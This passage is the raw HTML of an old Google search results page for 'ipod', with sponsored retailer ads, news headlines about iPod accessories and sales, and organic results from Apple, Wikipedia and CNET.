true};\nwindow.gbar={qs:function(){},tg:function(e){var o={id:'gbar'};for(i in e)o[i]=e[i];google.x(o,function(){gbar.tg(o)})}};</script></head><body id=gsr topmargin=3 marginheight=3><textarea id=csi style=display:none></textarea><div id=gbar><nobr><b class=gb1>Web</b> <a href=\"http://images.google.com/images?hl=en&q=ipod&um=1&ie=UTF-8&sa=N&tab=wi\" onclick=gbar.qs(this) class=gb1>Images</a> <a href=\"http://video.google.com/videosearch?hl=en&q=ipod&um=1&ie=UTF-8&sa=N&tab=wv\" onclick=gbar.qs(this) class=gb1>Videos</a> <a href=\"http://maps.google.com/maps?hl=en&q=ipod&um=1&ie=UTF-8&sa=N&tab=wl\" onclick=gbar.qs(this) class=gb1>Maps</a> <a href=\"http://news.google.com/news?hl=en&q=ipod&um=1&ie=UTF-8&sa=N&tab=wn\" onclick=gbar.qs(this) class=gb1>News</a> <a href=\"http://www.google.com/products?hl=en&q=ipod&um=1&ie=UTF-8&sa=N&tab=wf\" onclick=gbar.qs(this) class=gb1>Shopping</a> <a href=\"http://mail.google.com/mail/?hl=en&tab=wm\" class=gb1>Gmail</a> <a href=\"http://www.google.com/intl/en/options/\" onclick=\"this.blur();gbar.tg(event);return !1\" aria-haspopup=true class=gb3><u>more</u> <small>&#9660;</small></a><div class=gbm id=gbi><a href=\"http://books.google.com/books?hl=en&q=ipod&um=1&ie=UTF-8&sa=N&tab=wp\" onclick=gbar.qs(this) class=gb2>Books</a> <a href=\"http://www.google.com/finance?hl=en&q=ipod&um=1&ie=UTF-8&sa=N&tab=we\" onclick=gbar.qs(this) class=gb2>Finance</a> <a href=\"http://translate.google.com/translate_t?hl=en&q=ipod&um=1&ie=UTF-8&sa=N&tab=wT\" onclick=gbar.qs(this) class=gb2>Translate</a> <a href=\"http://scholar.google.com/scholar?hl=en&q=ipod&um=1&ie=UTF-8&sa=N&tab=ws\" onclick=gbar.qs(this) class=gb2>Scholar</a> <a href=\"http://blogsearch.google.com/blogsearch?hl=en&q=ipod&um=1&ie=UTF-8&sa=N&tab=wb\" onclick=gbar.qs(this) class=gb2>Blogs</a> <div class=gb2><div class=gbd></div></div><a href=\"http://www.youtube.com/results?hl=en&q=ipod&um=1&ie=UTF-8&sa=N&tab=w1\" onclick=gbar.qs(this) class=gb2>YouTube</a> <a href=\"http://www.google.com/calendar/render?hl=en&tab=wc\" class=gb2>Calendar</a> <a href=\"http://picasaweb.google.com/lh/view?hl=en&q=ipod&um=1&ie=UTF-8&sa=N&tab=wq\" onclick=gbar.qs(this) class=gb2>Photos</a> <a href=\"http://docs.google.com/?hl=en&tab=wo\" class=gb2>Documents</a> <a href=\"http://www.google.com/reader/view/?hl=en&tab=wy\" class=gb2>Reader</a> <a href=\"http://sites.google.com/?hl=en&tab=w3\" class=gb2>Sites</a> <a href=\"http://groups.google.com/groups?hl=en&q=ipod&um=1&ie=UTF-8&sa=N&tab=wg\" onclick=gbar.qs(this) class=gb2>Groups</a> <div class=gb2><div class=gbd></div></div><a href=\"http://www.google.com/intl/en/options/\" class=gb2>even more &raquo;</a> </div></nobr></div><div id=guser width=100%><nobr><a href=\"/history/optout?hl=en\" class=gb4>Web History</a> | <a href=\"/preferences?hl=en\" class=gb4>Search settings</a> | <a href=\"https://www.google.com/accounts/Login?hl=en&continue=http://www.google.com/search%3Fhl%3Den%26q%3Dipod%26aq%3Df%26aqi%3Dg10\" class=gb4>Sign in</a></nobr></div><div class=gbh style=left:0></div><div class=gbh style=right:0></div><div id=cnt><form id=tsf name=gs method=GET action=\"/search\"><table id=sft class=ts style=\"clear:both;margin:19px 16px 20px 15px\"><tr valign=top><td><h1><a id=logo href=\"http://www.google.com/webhp?hl=en\" title=\"Go to Google Home\">Google<img width=164 height=106 src=\"/images/nav_logo7.png\" alt=\"\"></a></h1><td id=sff style=\"padding:1px 3px 7px;padding-left:16px;width:100%\"><table class=ts style=\"margin:12px 0 3px\"><tr><td nowrap><input type=hidden name=hl value=\"en\"><input autocomplete=\"off\" class=lst type=text name=q size=41 maxlength=2048 value=\"ipod\" title=\"Search\"> <input type=submit name=\"btnG\" class=lsb style=\"margin:0 2px 0 5px\" value=\"Search\"></td><td style=\"padding:0 6px\" class=\"nobr xsm\"><a href=\"/advanced_search?q=ipod&amp;hl=en\">Advanced Search</a><br></table></table></form><div id=ssb><div id=prs><span class=std><b>Web</b></span><a href=\"/search?hl=en&amp;q=ipod&amp;tbo=1\" id=tbpi class=q onclick=\"return google.x(this,function(){return google.Toolbelt.toggle(this, event)})\"><div id=tbp></div><span class=tbpo>Hide options</span><span class=tbpc>Show options...</span></a></div><p id=resultStats>&nbsp;Results <b>1</b> - <b>10</b> of about <b>281,000,000</b> for <b>ipod</b> [<a href=\"/url?q=%2Fdictionary%3Faq%3Df%26langpair%3Den%7Cen%26hl%3Den%26q%3Dipod&amp;r=67&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;sa=X&amp;oi=dict&amp;ct=d&amp;ved=0CAQQvQE&amp;usg=AFQjCNHlBwFMws5lbd1NWDX_Sc89YCgnKg\" title=\"Look up definition of ipod\">definition</a>]<b></b>.  (<b>0.20</b> seconds)&nbsp;</div><div id=tbd class=med><h2 class=hd></h2></div><table id=mbEnd  width=30% style=margin-bottom:1em><tr><td id=rhsline style=\"border-left:1px solid #c9d7f1;padding-left:8px\" class=std><h2 style=\"margin:0;padding:2px 0 0;text-align:left\">Sponsored Links</h2><ol onmouseover=\"return true\" class=nobr><li><h3><a id=an1 href=\"/aclk?sa=l&amp;ai=CHxzLuYlKS8LTBo-47AOnupCJAv3QlqUBua2t2w79he0FEAEoBVDQlY61-f____8BYKW4moCcAaABs_La7APIAQGpAjCGJIGuB7g-qgQcT9CKNXzBrEjGFup1RdBRt5ikEaNGbEPLPLoe_w&amp;num=3&amp;sig=AGiWqtxpEN6jIIS76dPhqtSgq7O3FYBKCg&amp;q=http://www.bidrivals.com/au/\" >Buy <b>Ipod</b></a></h3><b>Ipod</b> at the market&#39;s<br>lowest price. Deal of a lifetime!<br><cite>www.bidrivals.com/au</cite><li><h3><a id=an2 href=\"/aclk?sa=l&amp;ai=CH0hUuYlKS8LTBo-47AOnupCJApuP8q4Bm8DPihD8vPwFEAIoBVC5k_taYKW4moCcAaABva3--wPIAQGpAlGPSVP4xK4-qgQcT9CqCGDBq0jGFup1RdBtucmjEaNGbEPLPLoe_w&amp;num=4&amp;sig=AGiWqtyhZeaukMr6dY--sm4w5YYq1cwyuQ&amp;q=http://www.cataloguecentral.com.au/Pages/ViewCatalogue.aspx%3Fr%3DKmart%26src%3D7%26rid%3D32%26id%3D7067%26sp%3D1\" ><b>Ipod</b> Catalogue</a></h3>One Stop School Shop Catalogue.<br>You Won&#39;t Find It Cheaper Anywhere!<br><cite>www.Kmart.CatalogueCentral.com.au</cite><li><h3><a id=an3 href=\"/aclk?sa=l&amp;ai=Cjaf5uYlKS8LTBo-47AOnupCJAqnjq60B-4rHlQz8vPwFEAMoBVDCxfLy-_____8BYKW4moCcAaABz4f_7QPIAQGpAlGPSVP4xK4-qgQcT9CqJnrBqkjGFup1RdBnmvWjEaNGbEPLPLoe_w&amp;num=5&amp;sig=AGiWqtz-5yEYM9klXBYIhBovy_7VyAP3uA&amp;q=http://pixel2151.everesttech.net/2151/r/3/s_b0d03b0eea3367c97d912713974d966a_3171205561/url%3Dhttp%253A//www.choice.com.au/shop/choiceLinkup.asp%253Fsku%253DOA106460%2526rid%253DKQBU5A3R8L9K9HE78G99C0AHEMAHDJQB\" ><b>Ipod</b></a></h3>We&#39;ve Reviewed 12 MP3 Players<br>Make The Right Decision With CHOICE<br><cite>www.CHOICE.com.au/Mp3Players</cite><li><h3><a id=an4 href=\"/aclk?sa=l&amp;ai=CfnZQuYlKS8LTBo-47AOnupCJAt3A46UBic-qmxL8vPwFEAQoBVDl6afH_P____8BYKW4moCcAaAB06nc_gPIAQGpAt2byJRbz7o-qgQZT9D6VGzBqUjGXurzaXjDmAN9Jw0pYs90yA&amp;num=6&amp;sig=AGiWqtwiKK6Gz3XRr44PavyC8gxMZnzFpQ&amp;q=http://aus.Apple-Deals.info/ipod.php%3Fkw%3Dipod\" >Cheap Used <b>iPods</b> For Sale</a></h3>New &amp; Used <b>iPods</b> For Sale<br>in Australia. Grab a Bargain today!<br><cite>Apple-Deals.info/<b>iPod</b></cite><li><h3><a id=an5 href=\"/aclk?sa=L&amp;ai=CLulVuYlKS8LTBo-47AOnupCJAueI5ZUBm7ONsQ79he0FEAUoBVDm-9HBA2CluJqAnAHIAQGqBBlP0Jo4bsGoSMZe6qdfSMOYA30nDSliz3TI&amp;num=7&amp;sig=AGiWqtyONL3uBSu8NgnxFdfPqnh803vxIA&amp;q=http://altfarm.mediaplex.com/ad/ck/9859-59076-2056-0%3Fkw%3DFor%2520Sale-GEO-Australia-Audio%2520-%2520Personal-ipod-g-sn%26mpro%3Dhttp://sydney.gumtree.com.au/f-Stuff-for-Sale-tv-audio-music-W0QQCatIdZ18316%3Futm_source%3Dgoogle%26utm_medium%3Dcpc%26utm_term%3Dipod%26utm_campaign%3DFor%2520Sale-GEO-Australia\" ><b>Ipod</b></a></h3>Find amazing bargains for MP3<br>players, minidiscs &amp; discmans!<br><cite>www.gumtree.com.au</cite></ol><br><p style=\"margin:-14px 0 0;text-align:left\"><a href=\"https://adwords.google.com/select/Login?sourceid=awo&subid=-en-et-symh&medium=link&hl=en\" class=fl>See your ad here&nbsp;&raquo;</a><br><br><tr><td id=rhspad></table><div class=c id=tads><h2 style=\"float:right;margin:3px 3px 0\">Sponsored Links</h2><ol onmouseover=\"return true\" style=\"padding:3px 0\"><li class=taf><h3><a id=pa1 href=\"/aclk?sa=L&amp;ai=Ch_kSuYlKS8LTBo-47AOnupCJAuy00IABsOG94w78vPwFCAAQASgCUKyqqOf9_____wFgpbiagJwByAEBqQJRj0lT-MSuPqoEGU_Qqhl_wa5Ixl7q9HBIw5gDfScNKWLPdMg&amp;sig=AGiWqtzSHCuUg5BLwGf2xmgpA0JoRkYDdQ&amp;q=http://akatracking.esearchvision.com/esi/redirect.html%3Fesvt%3D101758-GOAUE%26esvq%3Dipod%26esvadt%3D999999-5070368-1082675-1%26esvcrea%3D3869157590%26esvplace%3D%26transferparams%3D1%26esvaid%3D320%26url%3Dhttp%253a%252f%252fstore.apple.com%252fau%252fgo%252fipod%253faosid%253dp202%2526cid%253dAOS-AP-AU-Google-AA0000018610\" ><b>iPod</b> at The Apple® Store</a></h3><cite>store.apple.com/au/<b>ipod</b></cite>&nbsp; &nbsp; &nbsp; New <b>iPod</b> nano, <b>iPod</b> touch, <b>iPod</b> shuffle &amp; <b>iPod</b> classic. Ships free.<table class=slk><tr><td nowrap style=\"padding-left:40px\"><a href=\"/aclk?sa=L&amp;ai=CNYNYuYlKS8LTBo-47AOnupCJAuy00IABsOG94w78vPwFCAAQASgCUOqu1tX9_____wFgpbiagJwByAEBqQJRj0lT-MSuPqoEGU_Qqhl_wa5Ixl7q9HBIw5gDfScNKWLPdMg&amp;sig=AGiWqtzwyWSN6h8MiI7KPIqknlz2q84I2w&amp;q=http://akatracking.esearchvision.com/esi/redirect.html%3Fesvt%3D101758-GOAUE%26esvq%3Dipod%26esvadt%3D999999-1561893-1084672-1%26esvcrea%3D3869157590%26esvplace%3D%26transferparams%3D1%26esvaid%3D320%26url%3Dhttp%253a%252f%252fstore.apple.com%252fau%252fgo%252fmac%253faosid%253dp202%2526cid%253dAOS-AP-AU-Google-AA0000018642\">Shop Mac</a><br><a href=\"/aclk?sa=L&amp;ai=CpjtCuYlKS8LTBo-47AOnupCJAuy00IABsOG94w78vPwFCAAQASgCUNPip6n______wFgpbiagJwByAEBqQJRj0lT-MSuPqoEGU_Qqhl_wa5Ixl7q9HBIw5gDfScNKWLPdMg&amp;sig=AGiWqtxwX2zW5GowJ6S_zrviVj7lllzzpA&amp;q=http://akatracking.esearchvision.com/esi/redirect.html%3Fesvt%3D101758-GOAUE%26esvq%3Dipod%26esvadt%3D999999-5070368-1093775-1%26esvcrea%3D3869157590%26esvplace%3D%26transferparams%3D1%26esvaid%3D320%26url%3Dhttp%253a%252f%252fstore.apple.com%252fau%252fgo%252fipod%253faosid%253dp202%2526cid%253dAOS-AP-AU-Google-AA0000018642\">Shop iPod</a><td nowrap style=\"padding-left:20px\"><a href=\"/aclk?sa=L&amp;ai=CjFg8uYlKS8LTBo-47AOnupCJAuy00IABsOG94w78vPwFCAAQASgCUKC1nNYHYKW4moCcAcgBAakCUY9JU_jErj6qBBlP0KoZf8GuSMZe6vRwSMOYA30nDSliz3TI&amp;sig=AGiWqtx_TsVR3MMbS4MfnC4yrCWshnvy-g&amp;q=http://akatracking.esearchvision.com/esi/redirect.html%3Fesvt%3D101758-GOAUE%26esvq%3Dipod%26esvadt%3D999999-4980847-1082945-1%26esvcrea%3D3869157590%26esvplace%3D%26transferparams%3D1%26esvaid%3D320%26url%3Dhttp%253a%252f%252fstore.apple.com%252fau%252fgo%252fiphone3g%253faosid%253dp202%2526cid%253dAOS-AP-AU-Google-AA0000018642\">Shop iPhone</a><br><a href=\"/aclk?sa=L&amp;ai=CucEhuYlKS8LTBo-47AOnupCJAuy00IABsOG94w78vPwFCAAQASgCULSzxKUCYKW4moCcAcgBAakCUY9JU_jErj6qBBlP0KoZf8GuSMZe6vRwSMOYA30nDSliz3TI&amp;sig=AGiWqtzj03NcnX1-X8FR0eSKIT2TnOi3SA&amp;q=http://akatracking.esearchvision.com/esi/redirect.html%3Fesvt%3D101560-GOAUE%26esvq%3Dipod%26esvadt%3D999999-5315592-1048419-1%26esvcrea%3D3869157590%26esvplace%3D%26transferparams%3D1%26esvaid%3D320%26url%3Dhttp%253a%252f%252fstore.apple.com%252fau%252fgo%252fpromo%252fbacktoschool%253faosid%253dp202%2526cid%253dAOS-AP-AU-Google-AA0000018632\">Back to Uni - Apple Store</a></table><li class=tal><h3><a id=pa2 href=\"/aclk?sa=L&amp;ai=Cc3EkuYlKS8LTBo-47AOnupCJAun5pKwBmfymzA_3_dgFCAAQAigCUN2z3eAHYKW4moCcAcgBAakCUY9JU_jErj6qBBxP0OpRYsGtSMYW6nVF0E_Ykb8Ro0ZsQ8s8uh7_&amp;sig=AGiWqtyJjwjqy7gfddbDtAnD2egXs-ga0A&amp;q=http://www.harveynorman.com.au/page/1255508460073/portable-electronics-audio-video-ipod-mp3-players\" >Buy <b>iPods</b></a></h3><cite>www.harveynorman.com.au</cite>&nbsp; &nbsp; &nbsp; Get great prices on <b>iPods</b> at A Harvey Norman store near you.</ol></div><div id=res class=med><!--a--><h2 class=hd>Search Results</h2><div><ol><li class=g><h3 class=r><a href=\"http://news.google.com/news?hl=en&amp;q=ipod&amp;um=1&amp;ie=UTF-8&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;sa=X&amp;oi=news_group&amp;ct=title&amp;resnum=1&amp;ved=0CCIQsQQwAA\">News results for <em>ipod</em></a></h3><div class=s><table class=ts><tr><td valign=top style=\"padding-top:5px;padding-right:10px;font-size:78%;line-height:normal;width:80px;text-align:center\"><a href=\"/url?q=http://www.sfgate.com/cgi-bin/blogs/techchron/detail%3F%26entry_id%3D54548&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;sa=X&amp;oi=news_group&amp;resnum=1&amp;ct=image&amp;ved=0CCAQpwIwAA&amp;usg=AFQjCNGBP-I6Eg1XNsesqAvZBSXJrfuU0w\" style=\"text-decoration:none\" ><img src=\"http://news.google.com/news/tbn/QKV6MOaNPkIJ\" alt=\"\" border=1 width=80 height=37><br><span style=\"text-decoration:underline\"></span></a><td valign=top style=\"padding-top:3px\"><!--m--><a href=\"http://www.sfgate.com/cgi-bin/blogs/techchron/detail?&amp;entry_id=54548\" class=l onmousedown=\"return clk(this.href,'news_result','','res','1','','0CBcQqQIwAA')\">CES2010: L5 accessory turns iPhone or <em>iPod</em> Touch into universal remote</a>‎ - <nobr><span class=f>6 days ago</span></nobr><br><div>At the Consumer Electronics Show this week, L5 Technology will be showing off a new $49.95 L5 Remote accessory for the iPhone and <em>iPod</em> Touch that allows <b>...</b></div><span class=gl><cite>San Francisco Chronicle (blog)</cite> - <a href=\"http://news.google.com/news/story?hl=en&amp;q=ipod&amp;um=1&amp;ie=UTF-8&amp;ncl=dv-OIjTUKHF0eOMcWf567yv6LXclM&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;sa=X&amp;oi=news_result&amp;ct=more-results&amp;resnum=1&amp;ved=0CBgQqgIwAA\">588 related articles&nbsp;&raquo;</a></span><br><!--n--><!--m--><div><a href=\"http://cgi.money.cnn.com/tools/redirect.jsp?url=http://brainstormtech.blogs.fortune.cnn.com/2010/01/08/how-many-ipods-did-apple-sell/\" class=l onmousedown=\"return clk(this.href,'news_result','','res','2','','0CBoQqQIwAQ')\">How many <em>iPods</em> did Apple sell?</a>‎ - <span class=gl><cite>CNNMoney.com (blog)</cite> - <a href=\"http://news.google.com/news/story?hl=en&amp;q=ipod&amp;um=1&amp;ie=UTF-8&amp;ncl=dydwbYh1CAUHOvM&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;sa=X&amp;oi=news_result&amp;ct=more-results&amp;resnum=2&amp;ved=0CBsQqgIwAQ\" >60 related articles&nbsp;&raquo;</a></span></div><!--n--><!--m--><div><a href=\"http://www.computerworld.com/s/article/9143083/Nokia_asks_court_to_bar_U.S._imports_of_Apple_s_Macs_iPhones_iPods?taxonomyId=1\" class=l onmousedown=\"return clk(this.href,'news_result','','res','3','','0CB0QqQIwAg')\">Nokia asks court to bar US imports of Apple&#39;s Macs, iPhones, <em>iPods</em></a>‎ - <span class=gl><cite>Computerworld</cite> - <a href=\"http://news.google.com/news/story?hl=en&amp;q=ipod&amp;um=1&amp;ie=UTF-8&amp;ncl=dhkvlWd0MdqvItM&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;sa=X&amp;oi=news_result&amp;ct=more-results&amp;resnum=3&amp;ved=0CB4QqgIwAg\" >243 related articles&nbsp;&raquo;</a></span></div><!--n--></table></div><!--m--><li class=g><h3 class=r><a href=\"http://www.apple.com/itunes/\" class=l onmousedown=\"return clk(this.href,'','','res','4','','0CCMQFjAD')\">Apple - Download music and more with iTunes. Play it all on <em>iPod</em>.</a></h3><div class=\"s\">Learn about <em>iPod</em>, Apple TV, and accessories. Download iTunes software free and purchase iTunes Gift Cards. Check out the most popular TV shows, movies, <b>...</b><br><cite>www.apple.com/itunes/ - </cite><span class=gl><a href=\"http://74.125.153.132/search?q=cache:cM0PdWG3cZsJ:www.apple.com/itunes/+ipod&amp;cd=4&amp;hl=en&amp;ct=clnk\" onmousedown=\"return clk(this.href,'','','clnk','4','')\">Cached</a> - <a href=\"/search?hl=en&amp;q=related:www.apple.com/itunes/+ipod&amp;sa=X&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;ved=0CCQQHzAD\">Similar</a></span><br><table class=slk><tr><td><div><a href=\"/url?q=http://apple.com/itunes/download&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;sa=X&amp;oi=smap&amp;resnum=4&amp;ct=result&amp;cd=1&amp;ved=0CCUQqwMoAA&amp;usg=AFQjCNE9cqEqfSRN5wg5tFhWDoplZ9DLmA\">Download iTunes Now</a></div><div><a href=\"/url?q=http://www.apple.com/ipodtouch/&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;sa=X&amp;oi=smap&amp;resnum=4&amp;ct=result&amp;cd=2&amp;ved=0CCYQqwMoAQ&amp;usg=AFQjCNHTzrt6TSKlk3_y4LWUO85iUKQcDw\">iPod Touch</a></div><div><a href=\"/url?q=http://www.apple.com/itunes/overview/&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;sa=X&amp;oi=smap&amp;resnum=4&amp;ct=result&amp;cd=3&amp;ved=0CCcQqwMoAg&amp;usg=AFQjCNGLYbqm9J282VMvVj1bvBgIpUd-Sg\">iTunes Overview</a></div><div><a href=\"/url?q=http://www.apple.com/itunes/how-to/&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;sa=X&amp;oi=smap&amp;resnum=4&amp;ct=result&amp;cd=4&amp;ved=0CCgQqwMoAw&amp;usg=AFQjCNGQMReozCIBoTTDJvhjXwXQOiLLEw\">Tutorials</a></div></td><td style=\"padding-left:20px\"><div><a href=\"/url?q=http://www.apple.com/itunes/whats-on/&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;sa=X&amp;oi=smap&amp;resnum=4&amp;ct=result&amp;cd=5&amp;ved=0CCkQqwMoBA&amp;usg=AFQjCNFalLgviqs3qgVUc1Mq0AcrRe9aQw\">What&#39;s on iTunes</a></div><div><a href=\"/url?q=http://www.apple.com/ipodclassic/&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;sa=X&amp;oi=smap&amp;resnum=4&amp;ct=result&amp;cd=6&amp;ved=0CCoQqwMoBQ&amp;usg=AFQjCNHCRx3y-kLzPp6TEDgJNuofEL5kdw\">iPod classic</a></div><div><a href=\"/url?q=http://www.apple.com/ipodshuffle/&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;sa=X&amp;oi=smap&amp;resnum=4&amp;ct=result&amp;cd=7&amp;ved=0CCsQqwMoBg&amp;usg=AFQjCNH_BPBuhDRyYzRTBJ1arDH5yCewBg\">iPod shuffle</a></div><div><a href=\"/url?q=http://www.apple.com/itunes/digital-music-basics/&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;sa=X&amp;oi=smap&amp;resnum=4&amp;ct=result&amp;cd=8&amp;ved=0CCwQqwMoBw&amp;usg=AFQjCNElWgQPJhmziUFAfbfEfyAi9VKtzg\">Digital Music Basics</a></div></td></tr><tr><td colspan=2><a class=fl href=\"/search?hl=en&amp;q=+site:apple.com+ipod&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;sa=X&amp;oi=smap&amp;resnum=4&amp;ct=more-results&amp;ved=0CC0QrAM\">More results from apple.com&nbsp;&raquo;</a></td></tr></table></div><!--n--><!--m--><li class=g><h3 class=r><a href=\"http://www.apple.com/ipodclassic/\" class=l onmousedown=\"return clk(this.href,'','','res','5','','0CDAQFjAE')\">Apple - <em>iPod</em> classic - Hold 40000 songs in your pocket.</a></h3><div class=\"s\">With 160GB of storage, <em>iPod</em> classic is the take-everything-everywhere <em>iPod</em>, with space for up to 40000 songs, 200 hours of video, or  25000 photos.<br><cite>www.apple.com/<b>ipod</b>classic/ - </cite><span class=gl><a href=\"http://74.125.153.132/search?q=cache:2y64WAehIdMJ:www.apple.com/ipodclassic/+ipod&amp;cd=5&amp;hl=en&amp;ct=clnk\" onmousedown=\"return clk(this.href,'','','clnk','5','')\">Cached</a> - <a href=\"/search?hl=en&amp;q=related:www.apple.com/ipodclassic/+ipod&amp;sa=X&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;ved=0CDEQHzAE\">Similar</a></span></div><!--n--><li class=g><h3 class=r><a href=\"http://www.google.com/products?hl=en&amp;q=ipod&amp;um=1&amp;ie=UTF-8&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;sa=X&amp;oi=product_result_group&amp;ct=title&amp;resnum=6&amp;ved=0CEEQrQQwBQ\">Shopping results for <em>ipod</em></a></h3><table class=ts><tr><td valign=top width=80 style=\"padding-right:8px;padding-top:6px\"><a href=\"http://www.google.com/products?hl=en&amp;q=ipod&amp;um=1&amp;ie=UTF-8&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;sa=X&amp;oi=product_result_group&amp;ct=image&amp;resnum=6&amp;ved=0CD8QzAMwBQ\"><img src=\"http://base0.googlehosted.com/base_media?q=FroogleCatalog_CNETI835912.jpg&amp;size=18&amp;dhm=4cf8a506&amp;hl=en\" width=80 height=80 alt=\"\" border=1></a><td valign=top style=\"padding-top:4px\"><!--m--><div style=\"padding-bottom:2px\"><a href=\"http://www.google.com/products/catalog?hl=en&amp;q=ipod&amp;um=1&amp;ie=UTF-8&amp;cid=13561372809271777520&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;sa=X&amp;oi=product_catalog_result&amp;ct=result&amp;resnum=6&amp;ved=0CDMQ8wIwBQ#ps-sellers\">Apple <em>iPod</em> Touch 32 GB (3rd Generation)</a><br><table border=0 cellpadding=0 cellspacing=0 class=\"ti\" style=\"height:px;width:px\"><tr><td><p style=\"height:9px;width:10px;margin:0;padding:0;position:relative;overflow:hidden\"><img alt=\"Rated 4.4 out of 5.0\" src=\"/images/nav_logo7.png\" style=\"left:-20px;position:absolute;top:-78px\"><td><p style=\"height:9px;width:10px;margin:0;padding:0;position:relative;overflow:hidden\"><img alt=\"\" src=\"/images/nav_logo7.png\" style=\"left:-20px;position:absolute;top:-78px\"><td><p style=\"height:9px;width:10px;margin:0;padding:0;position:relative;overflow:hidden\"><img alt=\"\" src=\"/images/nav_logo7.png\" style=\"left:-20px;position:absolute;top:-78px\"><td><p style=\"height:9px;width:10px;margin:0;padding:0;position:relative;overflow:hidden\"><img alt=\"\" src=\"/images/nav_logo7.png\" style=\"left:-20px;position:absolute;top:-78px\"><td><p style=\"height:9px;width:10px;margin:0;padding:0;position:relative;overflow:hidden\"><img alt=\"\" src=\"/images/nav_logo7.png\" style=\"left:-10px;position:absolute;top:-78px\"></table> 528 reviews -&nbsp;$270 new, $260 used - 37 stores</div><!--n--><!--m--><div style=\"padding-bottom:2px\"><a href=\"http://www.google.com/products/catalog?hl=en&amp;q=ipod&amp;um=1&amp;ie=UTF-8&amp;cid=6823974292712536453&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;sa=X&amp;oi=product_catalog_result&amp;ct=result&amp;resnum=7&amp;ved=0CDcQ8wIwBg#ps-sellers\">Apple <em>iPod</em> Touch 8 GB (3rd Generation)</a><br><table border=0 cellpadding=0 cellspacing=0 class=\"ti\" style=\"height:px;width:px\"><tr><td><p style=\"height:9px;width:10px;margin:0;padding:0;position:relative;overflow:hidden\"><img alt=\"Rated 4.4 out of 5.0\" src=\"/images/nav_logo7.png\" style=\"left:-20px;position:absolute;top:-78px\"><td><p style=\"height:9px;width:10px;margin:0;padding:0;position:relative;overflow:hidden\"><img alt=\"\" src=\"/images/nav_logo7.png\" style=\"left:-20px;position:absolute;top:-78px\"><td><p style=\"height:9px;width:10px;margin:0;padding:0;position:relative;overflow:hidden\"><img alt=\"\" src=\"/images/nav_logo7.png\" style=\"left:-20px;position:absolute;top:-78px\"><td><p style=\"height:9px;width:10px;margin:0;padding:0;position:relative;overflow:hidden\"><img alt=\"\" src=\"/images/nav_logo7.png\" style=\"left:-20px;position:absolute;top:-78px\"><td><p style=\"height:9px;width:10px;margin:0;padding:0;position:relative;overflow:hidden\"><img alt=\"\" src=\"/images/nav_logo7.png\" style=\"left:-10px;position:absolute;top:-78px\"></table> 528 reviews -&nbsp;$173 new, $162 used - 29 stores</div><!--n--><!--m--><div style=\"padding-bottom:2px\"><a href=\"http://www.google.com/products/catalog?hl=en&amp;q=ipod&amp;um=1&amp;ie=UTF-8&amp;cid=1464570492142507412&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;sa=X&amp;oi=product_catalog_result&amp;ct=result&amp;resnum=8&amp;ved=0CDsQ8wIwBw#ps-sellers\">Apple <em>iPod</em> Touch 64 GB (3rd Generation)</a><br><table border=0 cellpadding=0 cellspacing=0 class=\"ti\" style=\"height:px;width:px\"><tr><td><p style=\"height:9px;width:10px;margin:0;padding:0;position:relative;overflow:hidden\"><img alt=\"Rated 4.4 out of 5.0\" src=\"/images/nav_logo7.png\" style=\"left:-20px;position:absolute;top:-78px\"><td><p style=\"height:9px;width:10px;margin:0;padding:0;position:relative;overflow:hidden\"><img alt=\"\" src=\"/images/nav_logo7.png\" style=\"left:-20px;position:absolute;top:-78px\"><td><p style=\"height:9px;width:10px;margin:0;padding:0;position:relative;overflow:hidden\"><img alt=\"\" src=\"/images/nav_logo7.png\" style=\"left:-20px;position:absolute;top:-78px\"><td><p style=\"height:9px;width:10px;margin:0;padding:0;position:relative;overflow:hidden\"><img alt=\"\" src=\"/images/nav_logo7.png\" style=\"left:-20px;position:absolute;top:-78px\"><td><p style=\"height:9px;width:10px;margin:0;padding:0;position:relative;overflow:hidden\"><img alt=\"\" src=\"/images/nav_logo7.png\" style=\"left:-10px;position:absolute;top:-78px\"></table> 528 reviews -&nbsp;$349 new, $325 used - 44 stores</div><!--n--></table><!--m--><li class=g><h3 class=r><a href=\"http://en.wikipedia.org/wiki/IPod\" class=l onmousedown=\"return clk(this.href,'','','res','9','','0CEIQFjAI')\"><em>iPod</em> - Wikipedia, the free encyclopedia</a></h3><div class=\"s\">The <em>iPod</em> is a portable media player designed and marketed by Apple and launched on October 23, 2001. The product line-up includes the hard drive-based <em>iPod</em> <b>...</b><br><cite>en.wikipedia.org/wiki/<b>IPod</b> - </cite><span class=gl><a href=\"http://74.125.153.132/search?q=cache:gsN3B5CBDpcJ:en.wikipedia.org/wiki/IPod+ipod&amp;cd=9&amp;hl=en&amp;ct=clnk\" onmousedown=\"return clk(this.href,'','','clnk','9','')\">Cached</a> - <a href=\"/search?hl=en&amp;q=related:en.wikipedia.org/wiki/IPod+ipod&amp;sa=X&amp;ei=uYlKS4SbBoGg6gPf-5XXCw&amp;ved=0CEMQHzAI\">Similar</a></span></div><!--n--><!--m--><li class=g><h3 class=r><a href=\"http://www.cnet.com/ipod/\" class=l onmousedown=\"return clk(this.href,'','','res','10','','0CEUQFjAJ')\">Apple <em>iPod</em> reviews, news and videos - CNET.com</a></h3><div class=\"s\">Check out CNET&#39;s <em>iPod</em> coverage for the latest Apple <em>iPod</em> reviews, news and videos of the <em>iPod</em> Nano, <em>iPod</em> Shuffle, <em>iPod</em> 